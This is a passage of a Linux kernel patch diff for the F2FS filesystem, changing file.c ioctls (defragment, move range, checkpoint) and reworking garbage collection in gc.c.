mutex_lock(&sbi->gc_mutex); } - return f2fs_gc(sbi, sync); + ret = f2fs_gc(sbi, sync, true); +out: + mnt_drop_write_file(filp); + return ret; } static int f2fs_ioc_write_checkpoint(struct file *filp, unsigned long arg) { struct inode *inode = file_inode(filp); struct f2fs_sb_info *sbi = F2FS_I_SB(inode); - struct cp_control cpc; + int ret; if (!capable(CAP_SYS_ADMIN)) return -EPERM; @@ -1658,13 +1902,338 @@ static int f2fs_ioc_write_checkpoint(struct file *filp, unsigned long arg) if (f2fs_readonly(sbi->sb)) return -EROFS; - cpc.reason = __get_cp_reason(sbi); + ret = mnt_want_write_file(filp); + if (ret) + return ret; + + ret = f2fs_sync_fs(sbi->sb, 1); - mutex_lock(&sbi->gc_mutex); - write_checkpoint(sbi, &cpc); - mutex_unlock(&sbi->gc_mutex); + mnt_drop_write_file(filp); + return ret; +} - return 0; +static int f2fs_defragment_range(struct f2fs_sb_info *sbi, + struct file *filp, + struct f2fs_defragment *range) +{ + struct inode *inode = file_inode(filp); + struct f2fs_map_blocks map = { .m_next_pgofs = NULL }; + struct extent_info ei; + pgoff_t pg_start, pg_end; + unsigned int blk_per_seg = sbi->blocks_per_seg; + unsigned int total = 0, sec_num; + unsigned int pages_per_sec = sbi->segs_per_sec * blk_per_seg; + block_t blk_end = 0; + bool fragmented = false; + int err; + + /* if in-place-update policy is enabled, don't waste time here */ + if (need_inplace_update(inode)) + return -EINVAL; + + pg_start = range->start >> PAGE_SHIFT; + pg_end = (range->start + range->len) >> PAGE_SHIFT; + + f2fs_balance_fs(sbi, true); + + inode_lock(inode); + + /* writeback all dirty pages in the range */ + err = filemap_write_and_wait_range(inode->i_mapping, range->start, + range->start + range->len - 1); + if (err) + goto out; + + /* + * lookup mapping info in extent cache, skip defragmenting if physical + * block addresses are continuous. + */ + if (f2fs_lookup_extent_cache(inode, pg_start, &ei)) { + if (ei.fofs + ei.len >= pg_end) + goto out; + } + + map.m_lblk = pg_start; + + /* + * lookup mapping info in dnode page cache, skip defragmenting if all + * physical block addresses are continuous even if there are hole(s) + * in logical blocks. + */ + while (map.m_lblk < pg_end) { + map.m_len = pg_end - map.m_lblk; + err = f2fs_map_blocks(inode, &map, 0, F2FS_GET_BLOCK_READ); + if (err) + goto out; + + if (!(map.m_flags & F2FS_MAP_FLAGS)) { + map.m_lblk++; + continue; + } + + if (blk_end && blk_end != map.m_pblk) { + fragmented = true; + break; + } + blk_end = map.m_pblk + map.m_len; + + map.m_lblk += map.m_len; + } + + if (!fragmented) + goto out; + + map.m_lblk = pg_start; + map.m_len = pg_end - pg_start; + + sec_num = (map.m_len + pages_per_sec - 1) / pages_per_sec; + + /* + * make sure there are enough free section for LFS allocation, this can + * avoid defragment running in SSR mode when free section are allocated + * intensively + */ + if (has_not_enough_free_secs(sbi, 0, sec_num)) { + err = -EAGAIN; + goto out; + } + + while (map.m_lblk < pg_end) { + pgoff_t idx; + int cnt = 0; + +do_map: + map.m_len = pg_end - map.m_lblk; + err = f2fs_map_blocks(inode, &map, 0, F2FS_GET_BLOCK_READ); + if (err) + goto clear_out; + + if (!(map.m_flags & F2FS_MAP_FLAGS)) { + map.m_lblk++; + continue; + } + + set_inode_flag(inode, FI_DO_DEFRAG); + + idx = map.m_lblk; + while (idx < map.m_lblk + map.m_len && cnt < blk_per_seg) { + struct page *page; + + page = get_lock_data_page(inode, idx, true); + if (IS_ERR(page)) { + err = PTR_ERR(page); + goto clear_out; + } + + set_page_dirty(page); + f2fs_put_page(page, 1); + + idx++; + cnt++; + total++; + } + + map.m_lblk = idx; + + if (idx < pg_end && cnt < blk_per_seg) + goto do_map; + + clear_inode_flag(inode, FI_DO_DEFRAG); + + err = filemap_fdatawrite(inode->i_mapping); + if (err) + goto out; + } +clear_out: + clear_inode_flag(inode, FI_DO_DEFRAG); +out: + inode_unlock(inode); + if (!err) + range->len = (u64)total << PAGE_SHIFT; + return err; +} + +static int f2fs_ioc_defragment(struct file *filp, unsigned long arg) +{ + struct inode *inode = file_inode(filp); + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct f2fs_defragment range; + int err; + + if (!capable(CAP_SYS_ADMIN)) + return -EPERM; + + if (!S_ISREG(inode->i_mode)) + return -EINVAL; + + err = mnt_want_write_file(filp); + if (err) + return err; + + if (f2fs_readonly(sbi->sb)) { + err = -EROFS; + goto out; + } + + if (copy_from_user(&range, (struct f2fs_defragment __user *)arg, + sizeof(range))) { + err = -EFAULT; + goto out; + } + + /* verify alignment of offset & size */ + if (range.start & (F2FS_BLKSIZE - 1) || + range.len & (F2FS_BLKSIZE - 1)) { + err = -EINVAL; + goto out; + } + + err = f2fs_defragment_range(sbi, filp, &range); + f2fs_update_time(sbi, REQ_TIME); + if (err < 0) + goto out; + + if (copy_to_user((struct f2fs_defragment __user *)arg, &range, + sizeof(range))) + err = -EFAULT; +out: + mnt_drop_write_file(filp); + return err; +} + +static int f2fs_move_file_range(struct file *file_in, loff_t pos_in, + struct file *file_out, loff_t pos_out, size_t len) +{ + struct inode *src = file_inode(file_in); + struct inode *dst = file_inode(file_out); + struct f2fs_sb_info *sbi = F2FS_I_SB(src); + size_t olen = len, dst_max_i_size = 0; + size_t dst_osize; + int ret; + + if (file_in->f_path.mnt != file_out->f_path.mnt || + src->i_sb != dst->i_sb) + return -EXDEV; + + if (unlikely(f2fs_readonly(src->i_sb))) + return -EROFS; + + if (S_ISDIR(src->i_mode) || S_ISDIR(dst->i_mode)) + return -EISDIR; + + if (f2fs_encrypted_inode(src) || f2fs_encrypted_inode(dst)) + return -EOPNOTSUPP; + + if (src == dst) { + if (pos_in == pos_out) + return 0; + if (pos_out > pos_in && pos_out < pos_in + len) + return -EINVAL; + } + + inode_lock(src); + if (src != dst) + inode_lock(dst); + + ret = -EINVAL; + if (pos_in + len > src->i_size || pos_in + len < pos_in) + goto out_unlock; + if (len == 0) + olen = len = src->i_size - pos_in; + if (pos_in + len == src->i_size) + len = ALIGN(src->i_size, F2FS_BLKSIZE) - pos_in; + if (len == 0) { + ret = 0; + goto out_unlock; + } + + dst_osize = dst->i_size; + if (pos_out + olen > dst->i_size) + dst_max_i_size = pos_out + olen; + + /* verify the end result is block aligned */ + if (!IS_ALIGNED(pos_in, F2FS_BLKSIZE) || + !IS_ALIGNED(pos_in + len, F2FS_BLKSIZE) || + !IS_ALIGNED(pos_out, F2FS_BLKSIZE)) + goto out_unlock; + + ret = f2fs_convert_inline_inode(src); + if (ret) + goto out_unlock; + + ret = f2fs_convert_inline_inode(dst); + if (ret) + goto out_unlock; + + /* write out all dirty pages from offset */ + ret = filemap_write_and_wait_range(src->i_mapping, + pos_in, pos_in + len); + if (ret) + goto out_unlock; + + ret = filemap_write_and_wait_range(dst->i_mapping, + pos_out, pos_out + len); + if (ret) + goto out_unlock; + + f2fs_balance_fs(sbi, true); + f2fs_lock_op(sbi); + ret = __exchange_data_block(src, dst, pos_in >> F2FS_BLKSIZE_BITS, + pos_out >> F2FS_BLKSIZE_BITS, + len >> F2FS_BLKSIZE_BITS, false); + + if (!ret) { + if (dst_max_i_size) + f2fs_i_size_write(dst, dst_max_i_size); + else if (dst_osize != dst->i_size) + f2fs_i_size_write(dst, dst_osize); + } + f2fs_unlock_op(sbi); +out_unlock: + if (src != dst) + inode_unlock(dst); + inode_unlock(src); + return ret; +} + +static int f2fs_ioc_move_range(struct file *filp, unsigned long arg) +{ + struct f2fs_move_range range; + struct fd dst; + int err; + + if (!(filp->f_mode & FMODE_READ) || + !(filp->f_mode & FMODE_WRITE)) + return -EBADF; + + if (copy_from_user(&range, (struct f2fs_move_range __user *)arg, + sizeof(range))) + return -EFAULT; + + dst = fdget(range.dst_fd); + if (!dst.file) + return -EBADF; + + if (!(dst.file->f_mode & FMODE_WRITE)) { + err = -EBADF; + goto err_out; + } + + err = mnt_want_write_file(filp); + if (err) + goto err_out; + + err = f2fs_move_file_range(filp, range.pos_in, dst.file, + range.pos_out, range.len); + + mnt_drop_write_file(filp); + + if (copy_to_user((struct f2fs_move_range __user *)arg, + &range, sizeof(range))) + err = -EFAULT; +err_out: + fdput(dst); + return err; } long f2fs_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) @@ -1686,7 +2255,7 @@ long f2fs_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) return f2fs_ioc_release_volatile_write(filp); case F2FS_IOC_ABORT_VOLATILE_WRITE: return f2fs_ioc_abort_volatile_write(filp); - case FS_IOC_SHUTDOWN: + case F2FS_IOC_SHUTDOWN: return f2fs_ioc_shutdown(filp, arg); case FITRIM: return f2fs_ioc_fitrim(filp, arg); @@ -1700,11 +2269,59 @@ long f2fs_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) return f2fs_ioc_gc(filp, arg); case F2FS_IOC_WRITE_CHECKPOINT: return f2fs_ioc_write_checkpoint(filp, arg); + case F2FS_IOC_DEFRAGMENT: + return f2fs_ioc_defragment(filp, arg); + case F2FS_IOC_MOVE_RANGE: + return f2fs_ioc_move_range(filp, arg); default: return -ENOTTY; } } +static ssize_t f2fs_file_aio_write(struct kiocb *iocb, const struct iovec *iov, + unsigned long nr_segs, loff_t pos) +{ + struct file *file = iocb->ki_filp; + struct inode *inode = file_inode(file); + size_t count; + struct blk_plug plug; + ssize_t ret; + + if (f2fs_encrypted_inode(inode) && + !fscrypt_has_encryption_key(inode) && + fscrypt_get_encryption_info(inode)) + return -EACCES; + + ret = generic_segment_checks(iov, &nr_segs, &count, VERIFY_READ); + if (ret) + return ret; + + inode_lock(inode); + ret = generic_write_checks(file, &pos, &count, S_ISBLK(inode->i_mode)); + if (!ret) { + int err = f2fs_preallocate_blocks(inode, pos, count, + iocb->ki_filp->f_flags & O_DIRECT); + if (err) { + inode_unlock(inode); + return err; + } + blk_start_plug(&plug); + ret = __generic_file_aio_write(iocb, iov, nr_segs, + &iocb->ki_pos); + blk_finish_plug(&plug); + } + inode_unlock(inode); + + if (ret > 0 || ret == -EIOCBQUEUED) { + ssize_t err; + + err = generic_write_sync(file, iocb->ki_pos - ret, ret); + if (err < 0 && ret > 0) + ret = err; + } + return ret; +} + #ifdef CONFIG_COMPAT long f2fs_compat_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { @@ -1715,6 +2332,24 @@ long f2fs_compat_ioctl(struct file *file, unsigned int cmd, unsigned long arg) case F2FS_IOC32_SETFLAGS: cmd = F2FS_IOC_SETFLAGS; break; + case F2FS_IOC32_GETVERSION: + cmd = F2FS_IOC_GETVERSION; + break; + case F2FS_IOC_START_ATOMIC_WRITE: + case F2FS_IOC_COMMIT_ATOMIC_WRITE: + case F2FS_IOC_START_VOLATILE_WRITE: + case F2FS_IOC_RELEASE_VOLATILE_WRITE: + case F2FS_IOC_ABORT_VOLATILE_WRITE: + case F2FS_IOC_SHUTDOWN: + case F2FS_IOC_SET_ENCRYPTION_POLICY: + case F2FS_IOC_GET_ENCRYPTION_PWSALT: + case F2FS_IOC_GET_ENCRYPTION_POLICY: + case F2FS_IOC_GARBAGE_COLLECT: + case F2FS_IOC_WRITE_CHECKPOINT: + case F2FS_IOC_DEFRAGMENT: + break; + case F2FS_IOC_MOVE_RANGE: + break; default: return -ENOIOCTLCMD; } @@ -1722,12 +2357,29 @@ long f2fs_compat_ioctl(struct file *file, unsigned int cmd, unsigned long arg) } #endif +static ssize_t f2fs_file_splice_write(struct pipe_inode_info *pipe, + struct file *out, + loff_t *ppos, size_t len, unsigned int flags) +{ + struct address_space *mapping = out->f_mapping; + struct inode *inode = mapping->host; + int ret; + + ret = generic_write_checks(out, ppos, &len, S_ISBLK(inode->i_mode)); + if (ret) + return ret; + ret = f2fs_preallocate_blocks(inode, *ppos, len, false); + if (ret) + return ret; + return generic_file_splice_write(pipe, out, ppos, len, flags); +} + const struct file_operations f2fs_file_operations = { .llseek = f2fs_llseek, .read = do_sync_read, .write = do_sync_write, .aio_read = generic_file_aio_read, - .aio_write = generic_file_aio_write, + .aio_write = f2fs_file_aio_write, .open = f2fs_file_open, .release = f2fs_release_file, .mmap = f2fs_file_mmap, @@ -1738,5 +2390,5 @@ const struct file_operations f2fs_file_operations = { .compat_ioctl = f2fs_compat_ioctl, #endif .splice_read = generic_file_splice_read, - .splice_write = generic_file_splice_write, + .splice_write = f2fs_file_splice_write, }; diff --git a/fs/f2fs/gc.c b/fs/f2fs/gc.c index 72c1626e7efd7..7e7b9836cdd6b 100644 --- a/fs/f2fs/gc.c +++ b/fs/f2fs/gc.c @@ -16,7 +16,6 @@ #include #include #include -#include #include "f2fs.h" #include "node.h" @@ -48,6 +47,11 @@ static int gc_thread_func(void *data) continue; } +#ifdef CONFIG_F2FS_FAULT_INJECTION + if (time_to_inject(sbi, FAULT_CHECKPOINT)) + f2fs_stop_checkpoint(sbi, false); +#endif + /* * [GC triggering condition] * 0. GC is not conducted currently. @@ -78,7 +82,7 @@ static int gc_thread_func(void *data) stat_inc_bggc_count(sbi); /* if return value is not zero, no victim was selected */ - if (f2fs_gc(sbi, test_opt(sbi, FORCE_FG_GC))) + if (f2fs_gc(sbi, test_opt(sbi, FORCE_FG_GC), true)) wait_ms = gc_th->no_gc_sleep_time; trace_f2fs_background_gc(sbi->sb, wait_ms, @@ -97,7 +101,7 @@ int start_gc_thread(struct f2fs_sb_info *sbi) dev_t dev = sbi->sb->s_bdev->bd_dev; int err = 0; - gc_th = kmalloc(sizeof(struct f2fs_gc_kthread), GFP_KERNEL); + gc_th = f2fs_kmalloc(sbi, sizeof(struct f2fs_gc_kthread), GFP_KERNEL); if (!gc_th) { err = -ENOMEM; goto out; @@ -173,9 +177,9 @@ static unsigned int get_max_cost(struct f2fs_sb_info *sbi, { /* SSR allocates in a segment unit */ if (p->alloc_mode == SSR) - return 1 << sbi->log_blocks_per_seg; + return sbi->blocks_per_seg; if (p->gc_mode == GC_GREEDY) - return (1 << sbi->log_blocks_per_seg) * p->ofs_unit; + return sbi->blocks_per_seg * p->ofs_unit; else if (p->gc_mode == GC_CB) return UINT_MAX; else /* No other gc_mode */ @@ -246,6 +250,18 @@ static inline unsigned int get_gc_cost(struct f2fs_sb_info *sbi, return get_cb_cost(sbi, segno); } +static unsigned int count_bits(const unsigned long *addr, + unsigned int offset, unsigned int len) +{ + unsigned int end = offset + len, sum = 0; + + while (offset < end) { + if (test_bit(offset++, addr)) + ++sum; + } + return sum; +} + /* * This function is called from two paths. * One is garbage collection and the other is SSR segment selection. @@ -259,9 +275,9 @@ static int get_victim_by_default(struct f2fs_sb_info *sbi, { struct dirty_seglist_info *dirty_i = DIRTY_I(sbi); struct victim_sel_policy p; - unsigned int secno, max_cost; + unsigned int secno, last_victim; unsigned int last_segment = MAIN_SEGS(sbi); - int nsearched = 0; + unsigned int nsearched = 0; mutex_lock(&dirty_i->seglist_lock); @@ -269,11 +285,12 @@ static int get_victim_by_default(struct f2fs_sb_info *sbi, select_policy(sbi, gc_type, type, &p); p.min_segno = NULL_SEGNO; - p.min_cost = max_cost = get_max_cost(sbi, &p); + p.min_cost = get_max_cost(sbi, &p); if (p.max_search == 0) goto out; + last_victim = sbi->last_victim[p.gc_mode]; if (p.alloc_mode == LFS && gc_type == FG_GC) { p.min_segno = check_bg_victims(sbi); if (p.min_segno != NULL_SEGNO) @@ -296,27 +313,35 @@ static int get_victim_by_default(struct f2fs_sb_info *sbi, } p.offset = segno + p.ofs_unit; - if (p.ofs_unit > 1) + if (p.ofs_unit > 1) { p.offset -= segno % p.ofs_unit; + nsearched += count_bits(p.dirty_segmap, + p.offset - p.ofs_unit, + p.ofs_unit); + } else { + nsearched++; + } + secno = GET_SECNO(sbi, segno); if (sec_usage_check(sbi, secno)) - continue; + goto next; if (gc_type == BG_GC && test_bit(secno, dirty_i->victim_secmap)) - continue; + goto next; cost = get_gc_cost(sbi, segno, &p); if (p.min_cost > cost) { p.min_segno = segno; p.min_cost = cost; - } else if (unlikely(cost == max_cost)) { - continue; } - - if (nsearched++ >= p.max_search) { - sbi->last_victim[p.gc_mode] = segno; +next: + if (nsearched >= p.max_search) { + if (!sbi->last_victim[p.gc_mode] && segno <= last_victim) + sbi->last_victim[p.gc_mode] = last_victim + 1; + else + sbi->last_victim[p.gc_mode] = segno + 1; break; } } @@ -400,13 +425,13 @@ static int check_valid_map(struct f2fs_sb_info *sbi, * On validity, copy that node with cold status, otherwise (invalid node) * ignore that. */ -static int gc_node_segment(struct f2fs_sb_info *sbi, +static void gc_node_segment(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, unsigned int segno, int gc_type) { - bool initial = true; struct f2fs_summary *entry; block_t start_addr; int off; + int phase = 0; start_addr = START_BLOCK(sbi, segno); @@ -419,16 +444,24 @@ static int gc_node_segment(struct f2fs_sb_info *sbi, struct node_info ni; /* stop BG_GC if there is not enough free sections. */ - if (gc_type == BG_GC && has_not_enough_free_secs(sbi, 0)) - return 0; + if (gc_type == BG_GC && has_not_enough_free_secs(sbi, 0, 0)) + return; if (check_valid_map(sbi, segno, off) == 0) continue; - if (initial) { + if (phase == 0) { + ra_meta_pages(sbi, NAT_BLOCK_OFFSET(nid), 1, + META_NAT, true); + continue; + } + + if (phase == 1) { ra_node_page(sbi, nid); continue; } + + /* phase == 2 */ node_page = get_node_page(sbi, nid); if (IS_ERR(node_page)) continue; @@ -445,36 +478,12 @@ static int gc_node_segment(struct f2fs_sb_info *sbi, continue; } - /* set page dirty and write it */ - if (gc_type == FG_GC) { - f2fs_wait_on_page_writeback(node_page, NODE); - set_page_dirty(node_page); - } else { - if (!PageWriteback(node_page)) - set_page_dirty(node_page); - } - f2fs_put_page(node_page, 1); + move_node_page(node_page, gc_type); stat_inc_node_blk_count(sbi, 1, gc_type); } - if (initial) { - initial = false; + if (++phase < 3) goto next_step; - } - - if (gc_type == FG_GC) { - struct writeback_control wbc = { - .sync_mode = WB_SYNC_ALL, - .nr_to_write = LONG_MAX, - .for_reclaim = 0, - }; - sync_node_pages(sbi, 0, &wbc); - - /* return 1 only if FG_GC succefully reclaimed one */ - if (get_valid_blocks(sbi, segno, 1) == 0) - return 1; - } - return 0; } /* @@ -484,7 +493,7 @@ static int gc_node_segment(struct f2fs_sb_info *sbi, * as indirect or double indirect node blocks, are given, it must be a caller's * bug. */ -block_t start_bidx_of_node(unsigned int node_ofs, struct f2fs_inode_info *fi) +block_t start_bidx_of_node(unsigned int node_ofs, struct inode *inode) { unsigned int indirect_blks = 2 * NIDS_PER_BLOCK + 4; unsigned int bidx; @@ -501,7 +510,7 @@ block_t start_bidx_of_node(unsigned int node_ofs, struct f2fs_inode_info *fi) int dec = (node_ofs - indirect_blks - 3) / (NIDS_PER_BLOCK + 1); bidx = node_ofs - 5 - dec; } - return bidx * ADDRS_PER_BLOCK + ADDRS_PER_INODE(fi); + return bidx * ADDRS_PER_BLOCK + ADDRS_PER_INODE(inode); } static bool is_alive(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, @@ -535,7 +544,8 @@ static bool is_alive(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, return true; } -static void move_encrypted_block(struct inode *inode, block_t bidx) +static void move_encrypted_block(struct inode *inode, block_t bidx, + unsigned int segno, int off) { struct f2fs_io_info fio = { .sbi = F2FS_I_SB(inode), @@ -547,6 +557,7 @@ static void move_encrypted_block(struct inode *inode, block_t bidx) struct f2fs_summary sum; struct node_info ni; struct page *page; + block_t newaddr; int err; /* do not read out */ @@ -554,6 +565,9 @@ static void move_encrypted_block(struct inode *inode, block_t bidx) if (!page) return; + if (!check_valid_map(F2FS_I_SB(inode), segno, off)) + goto out; + set_new_dnode(&dn, inode, NULL, NULL, 0); err = get_dnode_of_data(&dn, bidx, LOOKUP_NODE); if (err) @@ -568,19 +582,24 @@ static void move_encrypted_block(struct inode *inode, block_t bidx) * don't cache encrypted data into meta inode until previous dirty * data were writebacked to avoid racing between GC and flush. */ - f2fs_wait_on_page_writeback(page, DATA); + f2fs_wait_on_page_writeback(page, DATA, true); get_node_info(fio.sbi, dn.nid, &ni); set_summary(&sum, dn.nid, dn.ofs_in_node, ni.version); /* read page */ fio.page = page; - fio.blk_addr = dn.data_blkaddr; + fio.new_blkaddr = fio.old_blkaddr = dn.data_blkaddr; + + allocate_data_block(fio.sbi, NULL, fio.old_blkaddr, &newaddr, + &sum, CURSEG_COLD_DATA); fio.encrypted_page = f2fs_grab_cache_page(META_MAPPING(fio.sbi), - fio.blk_addr, true); - if (!fio.encrypted_page) - goto put_out; + newaddr, true); + if (!fio.encrypted_page) { + err = -ENOMEM; + goto recover_block; + } err = f2fs_submit_page_bio(&fio); if (err) @@ -589,40 +608,47 @@ static void move_encrypted_block(struct inode *inode, block_t bidx) /* write page */ lock_page(fio.encrypted_page); - if (unlikely(!PageUptodate(fio.encrypted_page))) + if (unlikely(fio.encrypted_page->mapping != META_MAPPING(fio.sbi))) { + err = -EIO; goto put_page_out; - if (unlikely(fio.encrypted_page->mapping != META_MAPPING(fio.sbi))) + } + if (unlikely(!PageUptodate(fio.encrypted_page))) { + err = -EIO; goto put_page_out; + } set_page_dirty(fio.encrypted_page); - f2fs_wait_on_page_writeback(fio.encrypted_page, DATA); + f2fs_wait_on_page_writeback(fio.encrypted_page, DATA, true); if (clear_page_dirty_for_io(fio.encrypted_page)) dec_page_count(fio.sbi, F2FS_DIRTY_META); set_page_writeback(fio.encrypted_page); /* allocate block address */ - f2fs_wait_on_page_writeback(dn.node_page, NODE); - allocate_data_block(fio.sbi, NULL, fio.blk_addr, - &fio.blk_addr, &sum, CURSEG_COLD_DATA); + f2fs_wait_on_page_writeback(dn.node_page, NODE, true); + fio.rw = WRITE_SYNC; + fio.new_blkaddr = newaddr; f2fs_submit_page_mbio(&fio); - dn.data_blkaddr = fio.blk_addr; - set_data_blkaddr(&dn); - f2fs_update_extent_cache(&dn); - set_inode_flag(F2FS_I(inode), FI_APPEND_WRITE); + f2fs_update_data_blkaddr(&dn, newaddr); + set_inode_flag(inode, FI_APPEND_WRITE); if (page->index == 0) - set_inode_flag(F2FS_I(inode), FI_FIRST_BLOCK_WRITTEN); + set_inode_flag(inode, FI_FIRST_BLOCK_WRITTEN); put_page_out: f2fs_put_page(fio.encrypted_page, 1); +recover_block: + if (err) + __f2fs_replace_block(fio.sbi, &sum, newaddr, fio.old_blkaddr, + true, true); put_out: f2fs_put_dnode(&dn); out: f2fs_put_page(page, 1); } -static void move_data_page(struct inode *inode, block_t bidx, int gc_type) +static void move_data_page(struct inode *inode, block_t bidx, int gc_type, + unsigned int segno, int off) { struct page *page; @@ -630,6 +656,9 @@ static void move_data_page(struct inode *inode, block_t bidx, int gc_type) if (IS_ERR(page)) return; + if (!check_valid_map(F2FS_I_SB(inode), segno, off)) + goto out; + if (gc_type == BG_GC) { if (PageWriteback(page)) goto out; @@ -643,13 +672,24 @@ static void move_data_page(struct inode *inode, block_t bidx, int gc_type) .page = page, .encrypted_page = NULL, }; + bool is_dirty = PageDirty(page); + int err; + +retry: set_page_dirty(page); - f2fs_wait_on_page_writeback(page, DATA); - if (clear_page_dirty_for_io(page)) + f2fs_wait_on_page_writeback(page, DATA, true); + if (clear_page_dirty_for_io(page)) { inode_dec_dirty_pages(inode); + remove_dirty_inode(inode); + } + set_cold_data(page); - do_write_data_page(&fio); - clear_cold_data(page); + + err = do_write_data_page(&fio); + if (err == -ENOMEM && is_dirty) { + congestion_wait(BLK_RW_ASYNC, HZ/50); + goto retry; + } } out: f2fs_put_page(page, 1); @@ -662,7 +702,7 @@ static void move_data_page(struct inode *inode, block_t bidx, int gc_type) * If the parent node is not valid or the data block address is different, * the victim data block is ignored. */ -static int gc_data_segment(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, +static void gc_data_segment(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, struct gc_inode_list *gc_list, unsigned int segno, int gc_type) { struct super_block *sb = sbi->sb; @@ -682,16 +722,23 @@ static int gc_data_segment(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, struct node_info dni; /* dnode info for the data */ unsigned int ofs_in_node, nofs; block_t start_bidx; + nid_t nid = le32_to_cpu(entry->nid); /* stop BG_GC if there is not enough free sections. */ - if (gc_type == BG_GC && has_not_enough_free_secs(sbi, 0)) - return 0; + if (gc_type == BG_GC && has_not_enough_free_secs(sbi, 0, 0)) + return; if (check_valid_map(sbi, segno, off) == 0) continue; if (phase == 0) { - ra_node_page(sbi, le32_to_cpu(entry->nid)); + ra_meta_pages(sbi, NAT_BLOCK_OFFSET(nid), 1, + META_NAT, true); + continue; + } + + if (phase == 1) { + ra_node_page(sbi, nid); continue; } @@ -699,14 +746,14 @@ static int gc_data_segment(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, if (!is_alive(sbi, entry, &dni, start_addr + off, &nofs)) continue; - if (phase == 1) { + if (phase == 2) { ra_node_page(sbi, dni.ino); continue; } ofs_in_node = le16_to_cpu(entry->ofs_in_node); - if (phase == 2) { + if (phase == 3) { inode = f2fs_iget(sb, dni.ino); if (IS_ERR(inode) || is_bad_inode(inode)) continue; @@ -718,7 +765,7 @@ static int gc_data_segment(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, continue; } - start_bidx = start_bidx_of_node(nofs, F2FS_I(inode)); + start_bidx = start_bidx_of_node(nofs, inode); data_page = get_read_data_page(inode, start_bidx + ofs_in_node, READA, true); if (IS_ERR(data_page)) { @@ -731,30 +778,41 @@ static int gc_data_segment(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, continue; } - /* phase 3 */ + /* phase 4 */ inode = find_gc_inode(gc_list, dni.ino); if (inode) { - start_bidx = start_bidx_of_node(nofs, F2FS_I(inode)) + struct f2fs_inode_info *fi = F2FS_I(inode); + bool locked = false; + + if (S_ISREG(inode->i_mode)) { + if (!down_write_trylock(&fi->dio_rwsem[READ])) + continue; + if (!down_write_trylock( + &fi->dio_rwsem[WRITE])) { + up_write(&fi->dio_rwsem[READ]); + continue; + } + locked = true; + } + + start_bidx = start_bidx_of_node(nofs, inode) + ofs_in_node; if (f2fs_encrypted_inode(inode) && S_ISREG(inode->i_mode)) - move_encrypted_block(inode, start_bidx); + move_encrypted_block(inode, start_bidx, segno, off); else - move_data_page(inode, start_bidx, gc_type); + move_data_page(inode, start_bidx, gc_type, segno, off); + + if (locked) { + up_write(&fi->dio_rwsem[WRITE]); + up_write(&fi->dio_rwsem[READ]); + } + stat_inc_data_blk_count(sbi, 1, gc_type); } } - if (++phase < 4) + if (++phase < 5) goto next_step; - - if (gc_type == FG_GC) { - f2fs_submit_merged_bio(sbi, DATA, WRITE); - - /* return 1 only if FG_GC succefully reclaimed one */ - if (get_valid_blocks(sbi, segno, 1) == 0) - return 1; - } - return 0; } static int __get_victim(struct f2fs_sb_info *sbi, unsigned int *victim, @@ -770,51 +828,84 @@ static int __get_victim(struct f2fs_sb_info *sbi, unsigned int *victim, return ret; } -static int do_garbage_collect(struct f2fs_sb_info *sbi, unsigned int segno, +static int do_garbage_collect(struct f2fs_sb_info *sbi, + unsigned int start_segno, struct gc_inode_list *gc_list, int gc_type) { struct page *sum_page; struct f2fs_summary_block *sum; struct blk_plug plug; - int nfree = 0; + unsigned int segno = start_segno; + unsigned int end_segno = start_segno + sbi->segs_per_sec; + int sec_freed = 0; + unsigned char type = IS_DATASEG(get_seg_entry(sbi, segno)->type) ? + SUM_TYPE_DATA : SUM_TYPE_NODE; + + /* readahead multi ssa blocks those have contiguous address */ + if (sbi->segs_per_sec > 1) + ra_meta_pages(sbi, GET_SUM_BLOCK(sbi, segno), + sbi->segs_per_sec, META_SSA, true); - /* read segment summary of victim */ - sum_page = get_sum_page(sbi, segno); + /* reference all summary page */ + while (segno < end_segno) { + sum_page = get_sum_page(sbi, segno++); + unlock_page(sum_page); + } blk_start_plug(&plug); - sum = page_address(sum_page); + for (segno = start_segno; segno < end_segno; segno++) { - /* - * this is to avoid deadlock: - * - lock_page(sum_page) - f2fs_replace_block - * - check_valid_map() - mutex_lock(sentry_lock) - * - mutex_lock(sentry_lock) - change_curseg() - * - lock_page(sum_page) - */ - unlock_page(sum_page); - - switch (GET_SUM_TYPE((&sum->footer))) { - case SUM_TYPE_NODE: - nfree = gc_node_segment(sbi, sum->entries, segno, gc_type); - break; - case SUM_TYPE_DATA: - nfree = gc_data_segment(sbi, sum->entries, gc_list, - segno, gc_type); - break; + /* find segment summary of victim */ + sum_page = find_get_page(META_MAPPING(sbi), + GET_SUM_BLOCK(sbi, segno)); + f2fs_put_page(sum_page, 0); + + if (get_valid_blocks(sbi, segno, 1) == 0 || + !PageUptodate(sum_page) || + unlikely(f2fs_cp_error(sbi))) + goto next; + + sum = page_address(sum_page); + f2fs_bug_on(sbi, type != GET_SUM_TYPE((&sum->footer))); + + /* + * this is to avoid deadlock: + * - lock_page(sum_page) - f2fs_replace_block + * - check_valid_map() - mutex_lock(sentry_lock) + * - mutex_lock(sentry_lock) - change_curseg() + * - lock_page(sum_page) + */ + + if (type == SUM_TYPE_NODE) + gc_node_segment(sbi, sum->entries, segno, gc_type); + else + gc_data_segment(sbi, sum->entries, gc_list, segno, + gc_type); + + stat_inc_seg_count(sbi, type, gc_type); +next: + f2fs_put_page(sum_page, 0); } + + if (gc_type == FG_GC) + f2fs_submit_merged_bio(sbi, + (type == SUM_TYPE_NODE) ? NODE : DATA, WRITE); + blk_finish_plug(&plug); - stat_inc_seg_count(sbi, GET_SUM_TYPE((&sum->footer)), gc_type); + if (gc_type == FG_GC && + get_valid_blocks(sbi, start_segno, sbi->segs_per_sec) == 0) + sec_freed = 1; + stat_inc_call_count(sbi->stat_info); - f2fs_put_page(sum_page, 0); - return nfree; + return sec_freed; } -int f2fs_gc(struct f2fs_sb_info *sbi, bool sync) +int f2fs_gc(struct f2fs_sb_info *sbi, bool sync, bool background) { - unsigned int 